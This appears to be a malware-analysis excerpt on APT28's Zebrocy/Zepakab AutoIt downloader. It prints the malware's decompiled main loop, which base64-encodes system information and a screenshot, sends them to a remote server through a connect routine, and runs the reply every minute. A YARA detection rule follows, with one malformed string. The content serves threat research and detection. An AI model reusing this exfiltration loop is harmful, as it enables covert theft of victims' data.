;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;; Zebrocy/Zepakab "main" function ;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Func main() While $call $fo = FileOpen($fp, 2 + 8 + 16) $si = StringReplace(base64(info()), "\r\n", "") $sc = StringReplace(base64(scr()), "\r\n", "") If $si = "" Then Exit If $sc = "" Then Exit $coun = STRINGREVERSE(StringLen($si)) For $k = StringLen($coun) To 5 $coun = $coun & "F" Next $coun = "img=" & $coun & $si & $sc connect($coun, $fo) $ap = $fo crocodile($ap) If $call Then Sleep(60000) Else ExitLoop EndIf WEnd EndFunc
Yara Signature
import "pe" import "hash" rule apt28_zebrocy_autoit_loader { meta: reference = "Detects Possible Autoit APT28 Zebrocy downloader" author = “@VK_Intel / @sysopfb" date = "2019-01-21; Edited: 2019-01-22" type = "experimental" strings: // "AU3!EA068" header $au3 = { 41 55 33 21 45 41 30 36 4D } $autscr = "/AutoIt3ExecuteLine" fullword wide $arch = " $MS = "MS " ascii wide $Microsoft = "Microsoft Inc." ascii wide $s0 = "PROCESSGETSTATS" fullword wide $s1 = "SHELLEXECUTEWAIT" fullword wide $s2 = "WINGETPROCESS" fullword wide $s3 = "0Expected a \"=\" operator in assignment statement.*Invalid keyword at the start of this line." fullword wide $s4 = "SHELLEXECUTE" fullword wide $s5 = "SCRIPTNAME" fullword wide /* base64 encoded string 'H$H=3@0' */ $s6 = "PROCESSSETPRIORITY" fullword wide $s7 = "HTTPSETUSERAGENT" fullword wide $s8 = "PROCESSWAITCLOSE" fullword wide $s9 = "PROCESSCLOSE" fullword wide $s10 = "PROCESSWAIT" fullword wide $s11 = "PROCESSEXISTS" fullword wide $s12 = "PROCESSORARCH" fullword wide $s13 = "AUTOITWINGETTITLE" fullword wide condition: uint16(0) == 0x5a4d and ($MS or $Microsoft) and $au3 and $autscr and $arch and filesize < 1500KB and all of ($s*) and pe.number_of_resources > 7 and (for any i in (0..pe.number_of_resources - 1): (pe.resources[i].type == pe.RESOURCE_TYPE_RCDATA and hash.md5(pe.resources[i].offset, 96) == "84a7952bb4bdb93c11e32fe2de63b00c")) }